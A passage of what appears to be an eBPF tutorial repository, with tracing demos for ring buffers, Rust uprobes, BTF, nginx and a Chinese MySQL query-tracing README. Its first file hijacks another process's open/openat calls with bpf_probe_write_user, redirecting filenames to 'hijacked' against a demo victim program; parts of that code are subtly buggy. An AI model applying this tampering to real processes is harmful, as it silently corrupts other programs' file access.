4 | #include 5 | #include 6 | #include "open_modify.h" 7 | 8 | const volatile bool targ_failed = false; 9 | const volatile bool rewrite = false; 10 | const volatile int target_pid = 0; 11 | 12 | struct args_t { 13 | const char *fname; 14 | int flags; 15 | }; 16 | 17 | struct { 18 | __uint(type, BPF_MAP_TYPE_HASH); 19 | __uint(max_entries, 10240); 20 | __type(key, u32); 21 | __type(value, struct args_t); 22 | } start SEC(".maps"); 23 | 24 | struct { 25 | __uint(type, BPF_MAP_TYPE_RINGBUF); 26 | __uint(max_entries, 256 * 1024); 27 | } rb SEC(".maps"); 28 | 29 | SEC("tracepoint/syscalls/sys_enter_open") 30 | int tracepoint__syscalls__sys_enter_open(struct trace_event_raw_sys_enter *ctx) 31 | { 32 | u64 pid = bpf_get_current_pid_tgid() >> 32; 33 | 34 | /* store arg info for later lookup */ 35 | struct args_t args = {}; 36 | args.fname = (const char *)ctx->args[0]; 37 | if (rewrite) { 38 | bpf_probe_write_user((char*)ctx->args[1], "hijacked", 9); 39 | } 40 | args.flags = (int)ctx->args[1]; 41 | bpf_map_update_elem(&start, &pid, &args, 0); 42 | 43 | return 0; 44 | } 45 | 46 | SEC("tracepoint/syscalls/sys_enter_openat") 47 | int tracepoint__syscalls__sys_enter_openat(struct trace_event_raw_sys_enter *ctx) 48 | { 49 | u64 pid = bpf_get_current_pid_tgid() >> 32; 50 | /* use kernel terminology here for tgid/pid: */ 51 | if (target_pid && pid != target_pid) { 52 | return 0; 53 | } 54 | /* store arg info for later lookup */ 55 | // since we can manually specify the attach process in userspace, 56 | // we don't need to check the process allowed here 57 | 58 | struct args_t args = {}; 59 | args.fname = (const char *)ctx->args[1]; 60 | args.flags = (int)ctx->args[2]; 61 | if (rewrite) { 62 | bpf_probe_write_user((char*)ctx->args[1], "hijacked", 9); 63 | } 64 | bpf_map_update_elem(&start, &pid, &args, 0); 65 | return 0; 66 | } 67 | 68 | static __always_inline int trace_exit(struct trace_event_raw_sys_exit *ctx) 69 | { 70 | struct event *event; 71 | struct args_t *ap; 72 | int ret; 73 | u32 pid = bpf_get_current_pid_tgid(); 74 | 75 | ap = bpf_map_lookup_elem(&start, &pid); 76 | if (!ap) 77 | return 0; /* missed entry */ 78 | ret = ctx->ret; 79 | 80 | event = bpf_ringbuf_reserve(&rb, sizeof(*event), 0); 81 | if (!event) 82 | return 0; 83 | 84 | /* event data */ 85 | event->pid = bpf_get_current_pid_tgid() >> 32; 86 | event->uid = bpf_get_current_uid_gid(); 87 | bpf_get_current_comm(&event->comm, sizeof(event->comm)); 88 | bpf_probe_read_user_str(&event->fname, sizeof(event->fname), ap->fname); 89 | event->flags = ap->flags; 90 | event->ret = ret; 91 | 92 | /* emit event */ 93 | bpf_ringbuf_submit(event, 0); 94 | return 0; 95 | cleanup: 96 | bpf_map_delete_elem(&start, &pid); 97 | return 0; 98 | } 99 | 100 | SEC("tracepoint/syscalls/sys_exit_open") 101 | int tracepoint__syscalls__sys_exit_open(struct trace_event_raw_sys_exit *ctx) 102 | { 103 | return trace_exit(ctx); 104 | } 105 | 106 | SEC("tracepoint/syscalls/sys_exit_openat") 107 | int tracepoint__syscalls__sys_exit_openat(struct trace_event_raw_sys_exit *ctx) 108 | { 109 | return trace_exit(ctx); 110 | } 111 | 112 | char LICENSE[] SEC("license") = "GPL"; 113 | -------------------------------------------------------------------------------- /src/34-syscall/open_modify.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ 2 | #ifndef __SYSCALL_TRACER_H 3 | #define __SYSCALL_TRACER_H 4 | 5 | #define TASK_COMM_LEN 16 6 | #define NAME_MAX 255 7 | #define INVALID_UID ((uid_t)-1) 8 | 9 | struct event { 10 | /* user terminology for pid: */ 11 | pid_t pid; 12 | uid_t uid; 13 | int ret; 14 | int flags; 15 | char comm[TASK_COMM_LEN]; 16 | char fname[NAME_MAX]; 17 | }; 18 | 19 | #endif /* __SYSCALL_TRACER_H */ 20 | -------------------------------------------------------------------------------- /src/34-syscall/victim.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | int main() 9 | { 10 | char filename[100] = "my_test.txt"; 11 | // print pid 12 | int pid = getpid(); 13 | std::cout << "current pid: " << pid << std::endl; 14 | system("echo \"hello\" > my_test.txt"); 15 | system("echo \"world\" >> hijacked"); 16 | while (true) { 17 | std::cout << "Opening my_test.txt" << std::endl; 18 | 19 | int fd = open(filename, O_RDONLY); 20 | assert(fd != -1); 21 | 22 | std::cout << "test.txt opened, fd=" << fd << std::endl; 23 | usleep(1000 * 300); 24 | // print the file content 25 | char buf[100] = {0}; 26 | int ret = read(fd, buf, 5); 27 | std::cout << "read " << ret << " bytes: " << buf << std::endl; 28 | std::cout << "Closing test.txt..." << std::endl; 29 | close(fd); 30 | std::cout << "test.txt closed" << std::endl; 31 | } 32 | return 0; 33 | } 34 | -------------------------------------------------------------------------------- /src/35-user-ringbuf/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | package.json 3 | *.o 4 | *.skel.json 5 | *.skel.yaml 6 | package.yaml 7 | ecli 8 | user_ringbuf 9 | -------------------------------------------------------------------------------- /src/35-user-ringbuf/user_ringbuf.bpf.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 2 | /* Copyright (c) 2022 Meta Platforms, Inc. and affiliates. */ 3 | 4 | #include "vmlinux.h" 5 | #include 6 | #include 7 | #include 8 | #include "user_ringbuf.h" 9 | 10 | char _license[] SEC("license") = "GPL"; 11 | 12 | struct 13 | { 14 | __uint(type, BPF_MAP_TYPE_USER_RINGBUF); 15 | __uint(max_entries, 256 * 1024); 16 | } user_ringbuf SEC(".maps"); 17 | 18 | struct 19 | { 20 | __uint(type, BPF_MAP_TYPE_RINGBUF); 21 | __uint(max_entries, 256 * 1024); 22 | } kernel_ringbuf SEC(".maps"); 23 | 24 | int read = 0; 25 | 26 | static long 27 | do_nothing_cb(struct bpf_dynptr *dynptr, void *context) 28 | { 29 | struct event *e; 30 | pid_t pid; 31 | /* get PID and TID of exiting thread/process */ 32 | pid = bpf_get_current_pid_tgid() >> 32; 33 | 34 | /* reserve sample from BPF ringbuf */ 35 | e = bpf_ringbuf_reserve(&kernel_ringbuf, sizeof(*e), 0); 36 | if (!e) 37 | return 0; 38 | 39 | e->pid = pid; 40 | bpf_get_current_comm(&e->comm, sizeof(e->comm)); 41 | 42 | /* send data to user-space for post-processing */ 43 | bpf_ringbuf_submit(e, 0); 44 | __sync_fetch_and_add(&read, 1); 45 | return 0; 46 | } 47 | 48 | SEC("tracepoint/syscalls/sys_exit_kill") 49 | int kill_exit(struct trace_event_raw_sys_exit *ctx) 50 | { 51 | long num_samples; 52 | int err = 0; 53 | 54 | // receive data from userspace 55 | num_samples = bpf_user_ringbuf_drain(&user_ringbuf, do_nothing_cb, NULL, 0); 56 | 57 | return 0; 58 | } -------------------------------------------------------------------------------- /src/35-user-ringbuf/user_ringbuf.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) 2 | /* Copyright (c) 2020 Facebook */ 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include "user_ringbuf.h" 10 | #include "user_ringbuf.skel.h" 11 | 12 | static void drain_current_samples(void) 13 | { 14 | printf("Draining current samples...\n"); 15 | } 16 | 17 | static int write_samples(struct user_ring_buffer *ringbuf) 18 | { 19 | int i, err = 0; 20 | struct user_sample *entry; 21 | 22 | entry = user_ring_buffer__reserve(ringbuf, sizeof(*entry)); 23 | if (!entry) 24 | { 25 | err = -errno; 26 | goto done; 27 | } 28 | 29 | entry->i = getpid(); 30 | strcpy(entry->comm, "hello"); 31 | 32 | int read = snprintf(entry->comm, sizeof(entry->comm), "%u", i); 33 | if (read <= 0) 34 | { 35 | /* Assert on the error path to avoid spamming logs with 36 | * mostly success messages. 37 | */ 38 | err = read; 39 | user_ring_buffer__discard(ringbuf, entry); 40 | goto done; 41 | } 42 | 43 | user_ring_buffer__submit(ringbuf, entry); 44 | 45 | done: 46 | drain_current_samples(); 47 | 48 | return err; 49 | } 50 | 51 | static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) 52 | { 53 | return vfprintf(stderr, format, args); 54 | } 55 | 56 | static volatile bool exiting = false; 57 | 58 | static void sig_handler(int sig) 59 | { 60 | exiting = true; 61 | } 62 | 63 | struct user_ring_buffer *user_ringbuf = NULL; 64 | 65 | static int handle_event(void *ctx, void *data, size_t data_sz) 66 | { 67 | const struct event *e = data; 68 | struct tm *tm; 69 | char ts[32]; 70 | time_t t; 71 | 72 | time(&t); 73 | tm = localtime(&t); 74 | strftime(ts, sizeof(ts), "%H:%M:%S", tm); 75 | 76 | printf("%-8s %-5s %-16s %-7d\n", 77 | ts, "SIGN", e->comm, e->pid); 78 | write_samples(user_ringbuf); 79 | return 0; 80 | } 81 | 82 | int main(int argc, char **argv) 83 | { 84 | struct ring_buffer *rb = NULL; 85 | struct user_ringbuf_bpf *skel; 86 | int err; 87 | 88 | /* Set up libbpf errors and debug info callback */ 89 | libbpf_set_print(libbpf_print_fn); 90 | 91 | /* Cleaner handling of Ctrl-C */ 92 | signal(SIGINT, sig_handler); 93 | signal(SIGTERM, sig_handler); 94 | 95 | /* Load and verify BPF application */ 96 | skel = user_ringbuf_bpf__open(); 97 | if (!skel) 98 | { 99 | fprintf(stderr, "Failed to open and load BPF skeleton\n"); 100 | return 1; 101 | } 102 | 103 | /* Parameterize BPF code with minimum duration parameter */ 104 | skel->bss->read = 0; 105 | 106 | /* Load & verify BPF programs */ 107 | err = user_ringbuf_bpf__load(skel); 108 | if (err) 109 | { 110 | fprintf(stderr, "Failed to load and verify BPF skeleton\n"); 111 | goto cleanup; 112 | } 113 | 114 | /* Attach tracepoints */ 115 | err = user_ringbuf_bpf__attach(skel); 116 | if (err) 117 | { 118 | fprintf(stderr, "Failed to attach BPF skeleton\n"); 119 | goto cleanup; 120 | } 121 | 122 | /* Set up ring buffer polling */ 123 | rb = ring_buffer__new(bpf_map__fd(skel->maps.kernel_ringbuf), handle_event, NULL, NULL); 124 | if (!rb) 125 | { 126 | err = -1; 127 | fprintf(stderr, "Failed to create ring buffer\n"); 128 | goto cleanup; 129 | } 130 | user_ringbuf = user_ring_buffer__new(bpf_map__fd(skel->maps.user_ringbuf), NULL); 131 | 132 | write_samples(user_ringbuf); 133 | 134 | /* Process events */ 135 | printf("%-8s %-5s %-16s %-7s %-7s %s\n", 136 | "TIME", "EVENT", "COMM", "PID", "PPID", "FILENAME/EXIT CODE"); 137 | while (!exiting) 138 | { 139 | err = ring_buffer__poll(rb, 100 /* timeout, ms */); 140 | /* Ctrl-C will cause -EINTR */ 141 | if (err == -EINTR) 142 | { 143 | err = 0; 144 | break; 145 | } 146 | if (err < 0) 147 | { 148 | printf("Error polling perf buffer: %d\n", err); 149 | break; 150 | } 151 | } 152 | 153 | cleanup: 154 | /* Clean up */ 155 | ring_buffer__free(rb); 156 | user_ringbuf_bpf__destroy(skel); 157 | user_ring_buffer__free(user_ringbuf); 158 | 159 | return err < 0 ? -err : 0; 160 | } 161 | -------------------------------------------------------------------------------- /src/35-user-ringbuf/user_ringbuf.h: -------------------------------------------------------------------------------- 1 | /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ 2 | /* Copyright (c) 2020 Facebook */ 3 | #ifndef __BOOTSTRAP_H 4 | #define __BOOTSTRAP_H 5 | 6 | #define TASK_COMM_LEN 16 7 | #define MAX_FILENAME_LEN 127 8 | 9 | struct event { 10 | int pid; 11 | char comm[TASK_COMM_LEN]; 12 | }; 13 | 14 | struct user_sample { 15 | int i; 16 | char comm[TASK_COMM_LEN]; 17 | }; 18 | 19 | #endif /* __BOOTSTRAP_H */ 20 | -------------------------------------------------------------------------------- /src/37-uprobe-rust/args/.gitignore: -------------------------------------------------------------------------------- 1 | target 2 | Cargo.lock 3 | -------------------------------------------------------------------------------- /src/37-uprobe-rust/args/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "helloworld" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | -------------------------------------------------------------------------------- /src/37-uprobe-rust/args/src/main.rs: -------------------------------------------------------------------------------- 1 | use std::env; 2 | 3 | pub fn hello(i: i32, len: usize) -> i32 { 4 | println!("Hello, world! {} in {}", i, len); 5 | i + len as i32 6 | } 7 | 8 | fn main() { 9 | let args: Vec = env::args().collect(); 10 | 11 | // Skip the first argument, which is the path to the binary, and iterate over the rest 12 | for arg in args.iter().skip(1) { 13 | match arg.parse::() { 14 | Ok(i) => { 15 | let ret = hello(i, args.len()); 16 | println!("return value: {}", ret); 17 | } 18 | Err(_) => { 19 | eprintln!("Error: Argument '{}' is not a valid integer", arg); 20 | } 21 | } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /src/37-uprobe-rust/helloworld/.gitignore: -------------------------------------------------------------------------------- 1 | target 2 | Cargo.lock 3 | -------------------------------------------------------------------------------- /src/37-uprobe-rust/helloworld/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "helloworld" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | -------------------------------------------------------------------------------- /src/37-uprobe-rust/helloworld/src/main.rs: -------------------------------------------------------------------------------- 1 | pub fn hello() -> i32 { 2 | println!("Hello, world!"); 3 | 0 4 | } 5 | 6 | fn main() { 7 | hello(); 8 | } 9 | -------------------------------------------------------------------------------- /src/38-btf-uprobe/.gitignore: -------------------------------------------------------------------------------- 1 | .output 2 | uprobe 3 | merge-btf 4 | *.btf 5 | -------------------------------------------------------------------------------- /src/38-btf-uprobe/examples/.gitignore: -------------------------------------------------------------------------------- 1 | *.o 2 | *.btf 3 | btf-base 4 | btf-base-new 5 | -------------------------------------------------------------------------------- /src/38-btf-uprobe/examples/Makefile: -------------------------------------------------------------------------------- 1 | # BPF compiler 2 | BPF_CC = clang 3 | # BPF C flags 4 | BPF_CFLAGS = -O2 -target bpf -c -g 5 | # BPF source files 6 | BPF_SRCS = $(wildcard *.bpf.c) 7 | # BPF object files 8 | BPF_OBJS = $(BPF_SRCS:.c=.o) 9 | 10 | all: $(BPF_OBJS) base.btf btf-base btf-base-new base-new.btf 11 | 12 | %.bpf.o: %.bpf.c 13 | $(BPF_CC) $(BPF_CFLAGS) $< -o $@ 14 | 15 | btf-base.o: btf-base.c 16 | clang -g -c btf-base.c -o btf-base.o 17 | 18 | btf-base-new.o: btf-base-new.c 19 | clang -g -c btf-base-new.c -o btf-base-new.o 20 | 21 | base.btf: btf-base.o 22 | pahole --btf_encode_detached base.btf btf-base.o 23 | 24 | base-new.btf: btf-base-new.o 25 | pahole --btf_encode_detached base-new.btf btf-base-new.o 26 | 27 | btf-base: btf-base.o 28 | clang -g btf-base.o -o btf-base 29 | 30 | btf-base-new: btf-base-new.o 31 | clang -g btf-base-new.o -o btf-base-new 32 | 33 | 34 | clean: 35 | rm -f *.o *.btf btf-base btf-base-new 36 | -------------------------------------------------------------------------------- /src/38-btf-uprobe/examples/btf-base-new.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | struct data { 4 | int a; 5 | int b; 6 | int c; 7 | int d; 8 | }; 9 | 10 | int add_test(struct data *d) { 11 | return d->a + d->c; 12 | } 13 | 14 | int main(int argc, char **argv) { 15 | struct data d = {1, 2, 3, 4}; 16 | printf("add_test(&d) = %d\n", add_test(&d)); 17 | return 0; 18 | } 19 | 20 | -------------------------------------------------------------------------------- /src/38-btf-uprobe/examples/btf-base.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | // use a different struct 4 | struct data { 5 | int a; 6 | int c; 7 | int d; 8 | }; 9 | 10 | int add_test(struct data *d) { 11 | return d->a + d->c; 12 | } 13 | 14 | int main(int argc, char **argv) { 15 | struct data d = {1, 3, 4}; 16 | printf("add_test(&d) = %d\n", add_test(&d)); 17 | return 0; 18 | } 19 | 20 | -------------------------------------------------------------------------------- /src/38-btf-uprobe/examples/btf-relo.bpf.c: -------------------------------------------------------------------------------- 1 | #ifndef BPF_NO_PRESERVE_ACCESS_INDEX 2 | #pragma clang attribute push (__attribute__((preserve_access_index)), apply_to = record) 3 | #endif 4 | 5 | struct data { 6 | int a; 7 | int c; 8 | int d; 9 | }; 10 | 11 | #ifndef BPF_NO_PRESERVE_ACCESS_INDEX 12 | #pragma clang attribute pop 13 | #endif 14 | 15 | 16 | int add_test(struct data *d) { 17 | return d->a + d->c; 18 | } 19 | 20 | -------------------------------------------------------------------------------- /src/38-btf-uprobe/merge-btf.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | int main(int argc, char **argv) 8 | { 9 | char *btf_base_path = argv[1]; 10 | char *btf_src_path = argv[2]; 11 | char *btf_dst_path = argv[3]; 12 | struct btf *btf_src, *btf_base; 13 | int err; 14 | unsigned int size; 15 | const void* btf_data; 16 | FILE *fp; 17 | 18 | 19 | if (argc != 4) 20 | { 21 | fprintf(stderr, "Usage: %s \n", argv[0]); 22 | fprintf(stderr, "Used for merge btf info"); 23 | return 1; 24 | } 25 | 26 | btf_base = btf__parse(btf_base_path, NULL); 27 | if (!btf_base) 28 | { 29 | fprintf(stderr, "Failed to parse BTF object '%s': %s\n", btf_base_path, strerror(errno)); 30 | return 1; 31 | } 32 | 33 | btf_src = btf__parse(btf_src_path, NULL); 34 | if (!btf_src) 35 | { 36 | fprintf(stderr, "Failed to parse BTF object '%s': %s\n", btf_src_path, strerror(errno)); 37 | return 1; 38 | } 39 | 40 | err = btf__add_btf(btf_base, btf_src); 41 | if (err < 0) 42 | { 43 | fprintf(stderr, "Failed to add BTF object '%s': %s\n", btf_src_path, strerror(errno)); 44 | return 1; 45 | } 46 | 47 | btf_data = btf__raw_data(btf_base, &size); 48 | if (!btf_data) 49 | { 50 | fprintf(stderr, "Failed to get raw data of BTF object '%s': %s\n", btf_base_path, strerror(errno)); 51 | return 1; 52 | } 53 | fp = fopen(btf_dst_path, "w"); 54 | if (!fp) 55 | { 56 | fprintf(stderr, "Failed to open BTF object '%s': %s\n", btf_dst_path, strerror(errno)); 57 | return 1; 58 | } 59 | fwrite(btf_data, size, 1, fp); 60 | fclose(fp); 61 | 62 | return 0; 63 | } -------------------------------------------------------------------------------- /src/38-btf-uprobe/uprobe.bpf.c: -------------------------------------------------------------------------------- 1 | #define BPF_NO_GLOBAL_DATA 2 | // #define BPF_NO_PRESERVE_ACCESS_INDEX 3 | #include 4 | #include 5 | #include 6 | 7 | #ifndef BPF_NO_PRESERVE_ACCESS_INDEX 8 | #pragma clang attribute push (__attribute__((preserve_access_index)), apply_to = record) 9 | #endif 10 | 11 | struct data { 12 | int a; 13 | int c; 14 | int d; 15 | }; 16 | 17 | #ifndef BPF_NO_PRESERVE_ACCESS_INDEX 18 | #pragma clang attribute pop 19 | #endif 20 | 21 | 22 | SEC("uprobe/examples/btf-base:add_test") 23 | int BPF_UPROBE(add_test, struct data *d) 24 | { 25 | int a = 0, c = 0; 26 | bpf_probe_read_user(&a, sizeof(a), &d->a); 27 | bpf_probe_read_user(&c, sizeof(c), &d->c); 28 | bpf_printk("add_test(&d) %d + %d = %d\n", a, c, a + c); 29 | return a + c; 30 | } 31 | 32 | char LICENSE[] SEC("license") = "Dual BSD/GPL"; 33 | -------------------------------------------------------------------------------- /src/38-btf-uprobe/uprobe.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) 2 | /* Copyright (c) 2020 Facebook */ 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include "uprobe.skel.h" 13 | 14 | #define warn(...) fprintf(stderr, __VA_ARGS__) 15 | 16 | static int libbpf_print_fn(enum libbpf_print_level level, const char *format, 17 | va_list args) 18 | { 19 | return vfprintf(stderr, format, args); 20 | } 21 | 22 | static volatile bool exiting = false; 23 | 24 | static void sig_handler(int sig) 25 | { 26 | exiting = true; 27 | } 28 | 29 | int main(int argc, char **argv) 30 | { 31 | struct uprobe_bpf *skel; 32 | int err; 33 | LIBBPF_OPTS(bpf_object_open_opts , opts, 34 | ); 35 | LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts); 36 | if (argc != 3 && argc != 2) { 37 | fprintf(stderr, "Usage: %s []\n", argv[0]); 38 | return 1; 39 | } 40 | if (argc == 3) 41 | opts.btf_custom_path = argv[2]; 42 | 43 | /* Set up libbpf errors and debug info callback */ 44 | libbpf_set_print(libbpf_print_fn); 45 | 46 | /* Cleaner handling of Ctrl-C */ 47 | signal(SIGINT, sig_handler); 48 | signal(SIGTERM, sig_handler); 49 | 50 | /* Load and verify BPF application */ 51 | skel = uprobe_bpf__open_opts(&opts); 52 | if (!skel) { 53 | fprintf(stderr, "Failed to open and load BPF skeleton\n"); 54 | return 1; 55 | } 56 | 57 | /* Load & verify BPF programs */ 58 | err = uprobe_bpf__load(skel); 59 | if (err) { 60 | fprintf(stderr, "Failed to load and verify BPF skeleton\n"); 61 | goto cleanup; 62 | } 63 | 64 | uprobe_opts.func_name = "add_test"; 65 | skel->links.add_test = bpf_program__attach_uprobe_opts( 66 | skel->progs.add_test, -1 /* self pid */, argv[1] /* binary path */, 67 | 0 /* offset for function */, &uprobe_opts /* opts */); 68 | if (!skel->links.add_test) { 69 | err = -errno; 70 | fprintf(stderr, "Failed to attach uprobe: %d\n", err); 71 | goto cleanup; 72 | } 73 | printf("Successfully started! Press Ctrl+C to stop.\n"); 74 | fflush(stdout); 75 | while (!exiting) { 76 | sleep(1); 77 | } 78 | cleanup: 79 | /* Clean up */ 80 | uprobe_bpf__destroy(skel); 81 | 82 | return err < 0 ? -err : 0; 83 | } 84 | -------------------------------------------------------------------------------- /src/39-nginx/trace.bt: -------------------------------------------------------------------------------- 1 | #!/usr/sbin/bpftrace 2 | 3 | // Monitor the start of HTTP request processing 4 | uprobe:/usr/sbin/nginx:ngx_http_process_request 5 | { 6 | printf("HTTP request processing started (tid: %d)\n", tid); 7 | @start[tid] = nsecs; 8 | } 9 | 10 | // Monitor when an HTTP request is finalized 11 | uretprobe:/usr/sbin/nginx:ngx_http_finalize_request 12 | /@start[tid]/ 13 | { 14 | $elapsed = nsecs - @start[tid]; 15 | printf("HTTP request processed in %d ns (tid: %d)\n", $elapsed, tid); 16 | delete(@start[tid]); 17 | } 18 | 19 | // Monitor the start of sending a request to an upstream server 20 | uprobe:/usr/sbin/nginx:ngx_http_upstream_send_request 21 | { 22 | printf("Upstream request sending started (tid: %d)\n", tid); 23 | @upstream_start[tid] = nsecs; 24 | } 25 | 26 | // Monitor when the upstream request is sent 27 | uretprobe:/usr/sbin/nginx:ngx_http_upstream_send_request 28 | /@upstream_start[tid]/ 29 | { 30 | $elapsed = nsecs - @upstream_start[tid]; 31 | printf("Upstream request sent in %d ns (tid: %d)\n", $elapsed, tid); 32 | delete(@upstream_start[tid]); 33 | } 34 | 35 | // Monitor the start of event processing 36 | uprobe:/usr/sbin/nginx:ngx_event_process_posted 37 | { 38 | printf("Event processing started (tid: %d)\n", tid); 39 | @event_start[tid] = nsecs; 40 | } 41 | 42 | // Monitor when event processing is completed 43 | uretprobe:/usr/sbin/nginx:ngx_event_process_posted 44 | /@event_start[tid]/ 45 | { 46 | $elapsed = nsecs - @event_start[tid]; 47 | printf("Event processed in %d ns (tid: %d)\n", $elapsed, tid); 48 | delete(@event_start[tid]); 49 | } 50 | -------------------------------------------------------------------------------- /src/4-opensnoop/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | package.json 3 | eunomia-exporter 4 | ecli 5 | *.bpf.o 6 | *.skel.json 7 | *.skel.yaml 8 | -------------------------------------------------------------------------------- /src/4-opensnoop/opensnoop.bpf.c: -------------------------------------------------------------------------------- 1 | #define BPF_NO_GLOBAL_DATA 2 | #include 3 | #include 4 | 5 | /// @description "Process ID to trace" 6 | const volatile int pid_target = 0; 7 | 8 | SEC("tracepoint/syscalls/sys_enter_openat") 9 | int tracepoint__syscalls__sys_enter_openat(struct trace_event_raw_sys_enter* ctx) 10 | { 11 | u64 id = bpf_get_current_pid_tgid(); 12 | u32 pid = id >> 32; 13 | 14 | if (pid_target && pid_target != pid) 15 | return false; 16 | // Use bpf_printk to print the process information 17 | bpf_printk("Process ID: %d enter sys openat\n", pid); 18 | return 0; 19 | } 20 | 21 | /// "Trace open family syscalls." 22 | char LICENSE[] SEC("license") = "GPL"; 23 | -------------------------------------------------------------------------------- /src/40-mysql/README.md: -------------------------------------------------------------------------------- 1 | # 使用 eBPF 跟踪 MySQL 查询 2 | 3 | MySQL 是全球最广泛使用的关系型数据库管理系统之一。无论您是在运行小型应用程序还是大型企业系统,了解 MySQL 数据库的性能特征都至关重要。特别是了解 SQL 查询的执行时间以及哪些查询占用了最多的时间,有助于诊断性能问题,并优化数据库以提高效率。 4 | 5 | 在这种情况下,eBPF(扩展的伯克利包过滤器)可以派上用场。eBPF 是一项强大的技术,它允许您编写程序并在 Linux 内核中运行,帮助您跟踪、监控和分析系统行为的各个方面,包括 MySQL 这类应用程序的性能。在本文中,我们将探讨如何使用 eBPF 跟踪 MySQL 查询,测量其执行时间,并深入了解数据库的性能表现。 6 | 7 | ## 背景:MySQL 和 eBPF 8 | 9 | ### MySQL 10 | 11 | MySQL 是一种关系型数据库管理系统(RDBMS),使用结构化查询语言(SQL)来管理和查询数据。它广泛应用于各种场景,从 Web 应用程序到数据仓库。MySQL 的性能对应用程序的整体性能至关重要,尤其是在处理大数据集或复杂查询时。 12 | 13 | ### eBPF 14 | 15 | eBPF 是一项允许在 Linux 内核中执行自定义程序的技术,而无需修改内核源代码或加载内核模块。eBPF 最初是为网络数据包过滤而设计的,但现在已经发展为一个多用途的工具,可用于性能监控、安全和调试。eBPF 程序可以附加到各种内核和用户空间事件上,使得我们能够跟踪函数、系统调用等的执行。 16 | 17 | 使用 eBPF,我们可以跟踪 MySQL 的某些函数,例如负责处理 SQL 查询的 `dispatch_command` 函数。通过跟踪该函数,我们可以捕获查询执行的开始和结束时间,测量延迟,并记录执行的查询。 18 | 19 | ## MySQL 查询 20 | 21 | 要使用 eBPF 跟踪 MySQL 查询,我们可以编写一个使用 `bpftrace` 的脚本,`bpftrace` 是一种 eBPF 的高级跟踪语言。以下是一个跟踪 MySQL 中 `dispatch_command` 函数的脚本,用于记录执行的查询并测量其执行时间: 22 | 23 | ```bt 24 | #!/usr/bin/env bpftrace 25 | 26 | // 跟踪 MySQL 中的 dispatch_command 函数 27 | uprobe:/usr/sbin/mysqld:dispatch_command 28 | { 29 | // 将命令执行的开始时间存储在 map 中 30 | @start_times[tid] = nsecs; 31 | 32 | // 打印进程 ID 和命令字符串 33 | printf("MySQL command executed by PID %d: ", pid); 34 | 35 | // dispatch_command 的第三个参数是 SQL 查询字符串 36 | printf("%s\n", str(arg3)); 37 | } 38 | 39 | uretprobe:/usr/sbin/mysqld:dispatch_command 40 | { 41 | // 从 map 中获取开始时间 42 | $start = @start_times[tid]; 43 | 44 | // 计算延迟,以毫秒为单位 45 | $delta = (nsecs - $start) / 1000000; 46 | 47 | // 打印延迟 48 | printf("Latency: %u ms\n", $delta); 49 | 50 | // 从 map 中删除条目以避免内存泄漏 51 | delete(@start_times[tid]); 52 | } 53 | ``` 54 | 55 | ### 脚本解释 56 | 57 | 1. **跟踪 `dispatch_command` 函数**: 58 | - 该脚本在 MySQL 中的 `dispatch_command` 函数上附加了一个 `uprobe`。该函数在 MySQL 需要执行 SQL 查询时调用。`Uprobe` 在内核模式 eBPF 运行时中可能会导致较大的性能开销。在这种情况下,您可以考虑使用用户模式 eBPF 运行时,例如 [bpftime](https://github.com/eunomia-bpf/bpftime)。 59 | - `uprobe` 捕获函数执行的开始时间并记录正在执行的 SQL 查询。 60 | 61 | 2. **计算和记录延迟**: 62 | - 一个相应的 `uretprobe` 附加到 `dispatch_command` 函数。`uretprobe` 在函数返回时触发,允许我们计算查询的总执行时间(延迟)。 63 | - 延迟以毫秒为单位计算并打印到控制台。 64 | 65 | 3. **使用 Map 管理状态**: 66 | - 脚本使用一个 BPF map 来存储每个查询的开始时间,并以线程 ID (`tid`) 作为键。这使我们能够匹配每次查询执行的开始和结束时间。 67 | - 在计算延迟后,从 map 中删除条目以避免内存泄漏。 68 | 69 | ## 运行脚本 70 | 71 | 要运行此脚本,只需将其保存为文件(例如 `trace_mysql.bt`),然后使用 `bpftrace` 执行它: 72 | 73 | ```bash 74 | sudo bpftrace trace_mysql.bt 75 | ``` 76 | 77 | ### 输出示例 78 | 79 | 脚本运行后,它将打印 MySQL 执行的每个 SQL 查询的信息,包括进程 ID、查询内容以及延迟时间: 80 | 81 | ```console 82 | MySQL command executed by PID 1234: SELECT * FROM users WHERE id = 1; 83 | Latency: 15 ms 84 | MySQL command executed by PID 1234: UPDATE users SET name = 'Alice' WHERE id = 2; 85 | Latency: 23 ms 86 | MySQL command executed by PID 1234: INSERT INTO orders (user_id, product_id) VALUES (1, 10); 87 | Latency: 42 ms 88 | ``` 89 | 90 | 这个输出显示了正在执行的 SQL 命令以及每个命令的执行时间,为您提供了关于 MySQL 查询性能的宝贵见解。 91 | 92 | ## 跟踪 MySQL 查询可以带来什么收获? 93 | 94 | 通过使用 eBPF 跟踪 MySQL 查询,您可以获得以下几点收获: 95 | 96 | - **识别慢查询**:您可以快速识别哪些 SQL 